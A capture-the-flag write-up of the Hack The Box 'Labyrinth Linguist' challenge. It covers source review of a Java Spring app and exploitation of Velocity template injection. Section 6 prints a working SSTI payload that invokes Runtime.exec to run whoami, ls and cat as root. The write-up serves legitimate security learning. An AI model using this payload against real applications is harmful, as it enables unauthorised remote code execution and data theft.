forbytten blogs

Labyrinth Linguist Writeup - Cyber Apocalypse 2024

Last update:

1 Introduction

This writeup covers the Labyrinth Linguist Web challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having an ‘easy’ difficulty. The challenge was a white box web application assessment, as the application source code was downloadable, including build scripts for building and deploying the application locally as a Docker container.

The description of the challenge is shown below.

Labyrinth Linguist description

2 Key techniques

The key techniques employed in this writeup are:

3 Artifacts Summary

The downloaded artifact had the following hash:

$ shasum -a256 web_labyrinth_linguist.zip
20621d4206111b15ce39dce9debf8af5a0fdf0834aa3063f1bffd064591d8f78  web_labyrinth_linguist.zip

The zip file contained the following, indicating the application is a Java application with a single Java class in Main.java:

$ unzip -d web_labyrinth_linguist web_labyrinth_linguist.zip
Archive:  web_labyrinth_linguist.zip
  inflating: web_labyrinth_linguist/build-docker.sh
   creating: web_labyrinth_linguist/challenge/
  inflating: web_labyrinth_linguist/challenge/pom.xml
 extracting: web_labyrinth_linguist/challenge/.gitignore
   creating: web_labyrinth_linguist/challenge/src/
   creating: web_labyrinth_linguist/challenge/src/main/
   creating: web_labyrinth_linguist/challenge/src/main/java/
  inflating: web_labyrinth_linguist/challenge/src/main/java/Main.java
   creating: web_labyrinth_linguist/challenge/src/main/resources/
   creating: web_labyrinth_linguist/challenge/src/main/resources/templates/
  inflating: web_labyrinth_linguist/challenge/src/main/resources/templates/index.html
   creating: web_labyrinth_linguist/challenge/src/main/resources/static/
   creating: web_labyrinth_linguist/challenge/src/main/resources/static/font/
  inflating: web_labyrinth_linguist/challenge/src/main/resources/static/font/Ancient_G_Written.ttf
   creating: web_labyrinth_linguist/challenge/src/main/resources/static/css/
  inflating: web_labyrinth_linguist/challenge/src/main/resources/static/css/style.css
   creating: web_labyrinth_linguist/config/
  inflating: web_labyrinth_linguist/config/supervisord.conf
  inflating: web_labyrinth_linguist/Dockerfile
  inflating: web_labyrinth_linguist/entrypoint.sh
 extracting: web_labyrinth_linguist/flag.txt

4 Mapping the application

4.1 Mapping the application interactively

The target website was opened in the Firefox browser, proxied via mitmproxy. The website displayed a form:

The website form

A simple “htb” string was submitted, which simply resulted in “htb” being reflected in the response:

The “htb” string was submitted
The submitted “htb” string was reflected in the response, in the h2 element near the bottom

4.2 Mapping the application via source code review

To support the interactive mapping and to easily discover hidden endpoints, further mapping of the application was conducted via source code review.

4.2.1 Dockerfile

The following were observed in Dockerfile:

  1. A Java 11 base image is used:

    FROM maven:3.8.5-openjdk-11-slim
  2. The flag is copied to /flag.txt

    COPY flag.txt /flag.txt
  3. The challenge code is copied to /app

    WORKDIR /app
    COPY challenge .
  4. entrypoint.sh is called to start the app:

    COPY --chown=root entrypoint.sh /entrypoint.sh
    RUN chmod +x /entrypoint.sh
    ENTRYPOINT ["/entrypoint.sh"]

4.2.2 entrypoint.sh

entrypoint.sh was observed to do the following:

  1. Rename the flag file to a secure name with a 10 character lowercase hex suffix. This implies an RCE (remote code execution) vulnerability will likely be needed to obtain the flag.

    mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txt
  2. Start the app using supervisord, configured via /etc/supervisord.conf:

    /usr/bin/supervisord -c /etc/supervisord.conf

4.2.3 supervisord.conf

supervisord.conf runs a Spring application:

[program:spring]
directory=/app
command=java -jar /app/target/server.jar

4.2.4 Main.java

Main.java contains a single route:

 @RequestMapping("/")
 @ResponseBody
 String index(@RequestParam(required = false, name = "text") String textString) {

The route generates the response using a Velocity Template:

  1. The template is sourced from /app/src/main/resources/templates/index.html.

    template = readFileToString("/app/src/main/resources/templates/index.html", textString);
  2. The readFileToString method replaces TEXT in index.html with attacker controlled input from the text request param.

    while ((line = bufferedReader.readLine()) != null) {
        line = line.replace("TEXT", replacement);
  3. index.html contains a TEXT placeholder which the above replaces.

    <h2 class="fire">TEXT</h2>
  4. The resulting template is parsed as a Velocity template. The last line below also sets a context variable name to the string “World”.

    RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
    StringReader reader = new StringReader(template);
    
    org.apache.velocity.Template t = new org.apache.velocity.Template();
    t.setRuntimeServices(runtimeServices);
    try {
        t.setData(runtimeServices.parse(reader, "home"));
        t.initDocument();
        VelocityContext context = new VelocityContext();
        context.put("name", "World");

The above code is vulnerable to SSTI (Server Side Template Injection), which is an instance of the common weakness CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine. This is because the attacker controlled input is interpreted as Velocity Template syntax, allowing the attacker to exercise features of the Velocity Template language.

4.2.5 pom.xml

pom.xml declares that Velocity version 1.7 is used:

<dependency>
  <groupId>org.apache.velocity</groupId>
  <artifactId>velocity</artifactId>
  <version>1.7</version>
</dependency>

5 Vulnerability analysis - confirming the SSTI

Since the Velocity context contains a name variable, a simple template of $name can be submitted to confirm the SSTI vulnerability. This resulted in the string “World” being returned in the response, confirming that an attacker can inject Velocity template syntax.

Velocity template containing the $name variable was submitted
Response contains the value of the $name variable, “World” in the h2 element near the bottom

6 Exploitation

The following payload from https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#velocity-java was used as a starting point to achieve RCE:

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

From https://antgarsil.github.io/posts/velocity/ and https://velocity.apache.org/engine/1.7/user-guide.html#directives it was observed that directives and variable substitutions can be mixed on a single line. For example:

#if($a==1)true enough#{else}no way!#end

This means the base payload can be strung into a single line.

The payload did not work out of the box. It was successively simplified to identify the problem was with the $class.inspect construct. The correct syntax was determined based on the Java Class API documentation and by taking advantage of the $name variable:

$name.getClass().forName("java.lang.String")
The correct syntax to get a Class - request
The response indicates the java.lang.String class was successfully obtained

The base payload from HackTricks was modified to use the correct syntax for getting a class and submitted. Successful RCE of the command whoami was achieved, indicating that the process was running as the root user.

HackTricks base payload modified to correctly get classes - request
The response indicates the whoami shell command was successfully executed, returning a user of root in the h2 element near the bottom

The payload was then modified to execute ls /, resulting in disclosure of the flag file name as /flag2e69ebbdb3.txt.

ls / payload submitted
flag file name of /flag2e69ebbdb3.txt returned in the response, albeit with each character separated by a space

7 Obtaining the flag

A final request was submitted to execute cat /flag2e69ebbdb3.txt

cat /flag2e69ebbdb3.txt payload submitted
flag returned in response, with each character separated by a space

8 Conclusion

The flag was submitted, after removing spaces, and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned